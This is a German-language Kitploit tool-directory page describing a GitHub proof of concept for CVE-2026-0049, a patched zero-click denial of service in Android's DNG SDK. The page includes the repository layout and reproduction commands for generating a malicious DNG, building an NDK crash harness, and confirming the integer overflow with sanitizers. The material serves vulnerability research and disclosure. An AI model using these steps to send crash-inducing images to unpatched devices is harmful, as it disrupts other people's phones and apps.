Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0049 — PoC und Analyse einer Zero-Click-DoS im DNG-SDK von Android, mit präparierten DNG-Beispieldateien, einem NDK-Crash-Harness und UBSan/IntSan-Reproduktion des MapTable-Überlaufs. | Kitploit
Tools/GitHubGitHub/r3n3r0/cve-2026-0049
Android-SicherheitPayload-GenerierungSchwachstellenanalyseExploitationBinäranalysePapers & ForschungLernen & Bildung
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

PoC und Analyse einer Zero-Click-DoS im DNG-SDK von Android, mit präparierten DNG-Beispieldateien, einem NDK-Crash-Harness und UBSan/IntSan-Reproduktion des MapTable-Überlaufs.

Repository anzeigen
8vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-0049 — Android DNG Zero-Click-DoS (dng_sdk MapTable add-overflow)

Vollständiges Forschungsmaterial und PoC. Narrative Analyse: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • Bug: Unsigned-Integer-Überlauf bei fAreaSpec.Plane() + fAreaSpec.Planes() in dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • Auswirkung: Zero-Click-DoS. Das IntSan, mit dem Android libdng_sdk.so kompiliert, wandelt den Überlauf in abort() → SIGABRT im Prozess, der das DNG dekodiert.
  • Keine RCE (doppelte Begrenzung der Schleife → kein OOB). Siehe §12 von BLOG.md.
  • Schweregrad: Google (Bulletin) stuft sie als Critical ein; NVD/CISA Medium (CVSS 6.2) — zwei verschiedene Taxonomien für dieselbe CVE (§13).
  • Fix: Android Security Bulletin April 2026 (Patch 2026-04-01, A-456471290). Zwei Patches: arithmetische Korrektur im dng_sdk (+ als - neu geschrieben) + MIME-Allowlist in LocalImageResolver.java, die DNGs ablehnt (§14).

Der Artikel beschreibt außerdem: den vollständigen Generierungspfad des PoC (§6), warum ein NDK-Harness verwendet wurde (§7), den Unterschied zwischen den UBSan/IntSan-Flags -fsanitize=undefined vs. =integer, recover/no-recover/trap, Full- vs. Minimal-Runtime (§10) sowie IntSan vs. SafeInt vs. MTE (§11).

Struktur

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

Schnelle Reproduktion

A) Bösartiges DNG

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

Kritischer Punkt: Die AreaSpec muss nicht leer sein (0,0,H,W); bei leerer Area kurzschließt die dng_sdk von Android und die Dekodierung gibt einen Fehler ohne Absturz zurück (siehe §6.6 von BLOG.md). Warum ein vollständig gültiges DNG und kein minimales benötigt wird: SkRawCodec (System-Decoder) ist strenger als Glide/Photos und lehnt DNGs ohne vollständige Farbmetadaten ab (§2, §6.1).

B) Crash auf dem Gerät (NDK-Harness)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) Reproduktion auf dem PC (ohne Telefon) mit dng_validate + UBSan

Kompiliere die dng_sdk-Quellen, indem du -fsanitize=integer -fno-sanitize-recover nur auf dng_misc_opcodes.cpp anwendest (verwende harness/dng_xmp_stub.cpp, um ohne das XMP-SDK zu linken). Dann:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

Nur für Forschung/Lehre. Ausschließlich auf eigener Hardware getestet.

Tool herunterladen